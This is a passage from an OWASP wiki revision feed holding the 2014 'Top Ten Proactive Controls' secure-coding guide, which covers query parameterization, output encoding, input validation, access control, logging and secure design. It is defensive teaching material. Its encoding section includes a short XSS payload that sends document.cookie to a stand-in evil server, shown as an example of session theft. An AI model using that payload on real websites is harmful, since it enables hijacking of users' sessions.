Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include unix encoding, windows encoding, LDAP encoding, XML encoding and others.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
* [http://msdn.microsoft.com/en-us/security/aa973814.aspx Microsoft .NET AntiXSS Library]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 3: Validate All Inputs ==&lt;br /&gt;
&lt;br /&gt;
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types of input validation: “white list&amp;quot; validation and &amp;quot;black list&amp;quot; validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
'''Key References''' &lt;br /&gt;
* [[Input Validation Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 4: Implement Appropriate Access Controls ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused. Access Control can be a rather complex and design-heavy security control. The following &amp;quot;positive&amp;quot; access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front. &lt;br /&gt;
&lt;br /&gt;
=== Force all requests to go through access control checks ===&lt;br /&gt;
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.&lt;br /&gt;
&lt;br /&gt;
=== Deny by default ===&lt;br /&gt;
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check. &lt;br /&gt;
 &lt;br /&gt;
=== Avoid hard-coded policy-based access control checks in code ===&lt;br /&gt;
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control &amp;quot;engine&amp;quot;) should be separated when possible. &lt;br /&gt;
&lt;br /&gt;
=== Code to the activity ===&lt;br /&gt;
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.&lt;br /&gt;
&lt;br /&gt;
=== Server-side trusted data should drive access control ===&lt;br /&gt;
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved &amp;quot;server-side&amp;quot; in a standard web or web service application.  Policy data such as a users role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Access Control Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]&lt;br /&gt;
* [http://shiro.apache.org/authorization-features.html Apache Shiro Authorization features]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 5: Establish Identity and Authentication Controls ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Authentication Cheat Sheet]]&lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
* [[Forgot Password Cheat Sheet]] &lt;br /&gt;
* [[Session Management Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 6: Protect Data and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]&lt;br /&gt;
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
=== Use Encryption at Rest ===&lt;br /&gt;
&lt;br /&gt;
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the [https://code.google.com/p/keyczar/ Google KeyCzar] project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issue in complex software. &lt;br /&gt;
 &lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]] &lt;br /&gt;
* [[Password Storage Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]&lt;br /&gt;
&lt;br /&gt;
=== Implement Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 7: Implement Logging and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The [[OWASP AppSensor Project]] defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. &lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* How to properly implement logging in an application: [[Logging Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tool'''&lt;br /&gt;
* [[OWASP AppSensor Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 8: Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* [http://static.springsource.org/spring-security/site/index.html Spring Security]&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]&lt;br /&gt;
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 9: Include Security-Specific Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of any personal or confidential information in the system and make sure that this data is protected. What is the source of the data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it, and is all of this tracked? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[OWASP Application Security Verification Standard Project]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model]&lt;br /&gt;
* [[Business Logic Security Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 10: Design and Architect Security In ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model Software Assurance Maturity Model (OpenSAMM)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project Application Security Verification Standard Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/Application_Security_Architecture_Cheat_Sheet Application Security Architecture Cheat Sheet]&lt;br /&gt;
* [[Attack Surface Analysis Cheat Sheet]]&lt;br /&gt;
* [[Threat Modeling Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
= Formal Numbering =&lt;br /&gt;
&lt;br /&gt;
* OWASP-C1: Parameterize Queries&lt;br /&gt;
* OWASP-C2: Encode Data&lt;br /&gt;
* OWASP-C3: Validate All Inputs&lt;br /&gt;
* OWASP-C4: Implement Appropriate Access Controls&lt;br /&gt;
* OWASP-C5: Establish Identity and Authentication Controls&lt;br /&gt;
* OWASP-C6: Protect Data and Privacy&lt;br /&gt;
* OWASP-C7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* OWASP-C8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* OWASP-C9: Include Security-Specific Requirements&lt;br /&gt;
* OWASP-C10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! &lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
End of April : Complete community review process&amp;lt;br/&amp;gt;&lt;br /&gt;
End of May : Release final document in well designed PDF form&lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
March 10, 2014: We released an early beta of this document to the OWASP leaders list for review and commentary.&amp;lt;br/&amp;gt;&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176253</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=176253"/>
				<updated>2014-06-02T15:58:47Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Proactive-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs.  When it comes to web security, developers are often set up to lose the security game.&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
* 1: Parameterize Queries&lt;br /&gt;
* 2: Encode Data&lt;br /&gt;
* 3: Validate All Inputs&lt;br /&gt;
* 4: Implement Appropriate Access Controls&lt;br /&gt;
* 5: Establish Identity and Authentication Controls&lt;br /&gt;
* 6: Protect Data and Privacy&lt;br /&gt;
* 7: Implement Logging, Error Handling and Intrusion Detection&lt;br /&gt;
* 8: Leverage Security Features of Frameworks and Security Libraries&lt;br /&gt;
* 9: Include Security-Specific Requirements&lt;br /&gt;
* 10: Design and Architect Security In&lt;br /&gt;
&lt;br /&gt;
For more information, see the [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls complete document here].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is This? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.&lt;br /&gt;
&lt;br /&gt;
== Project Leaders ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]&lt;br /&gt;
&lt;br /&gt;
== Key Contributors ==&lt;br /&gt;
&lt;br /&gt;
* Danny Harris [mailto:danny.harris@owasp.org @]&lt;br /&gt;
* Stephen de Vries&lt;br /&gt;
* Andrew Van Der Stock&lt;br /&gt;
* Gaz Heyes&lt;br /&gt;
* Colin Watson&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[OWASP Mobile Security Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Access ==&lt;br /&gt;
&lt;br /&gt;
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]&lt;br /&gt;
* [04 Feb 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 1: Parameterize Queries ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of Query Parameterization in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* [[Query Parameterization Cheat Sheet]]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== 2: Encode Data ==&lt;br /&gt;
&lt;br /&gt;
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to prevent Cross Site Scripting. &lt;br /&gt;
&lt;br /&gt;
Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed.  Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include unix encoding, windows encoding, LDAP encoding, XML encoding and others.&lt;br /&gt;
&lt;br /&gt;
'''Key References'''&lt;br /&gt;
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]&lt;br /&gt;
* General information about injection: [[Top 10 2013-A1-Injection]]&lt;br /&gt;
&lt;br /&gt;
'''Key Tools'''&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]&lt;br /&gt;
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]&lt;br /&gt;
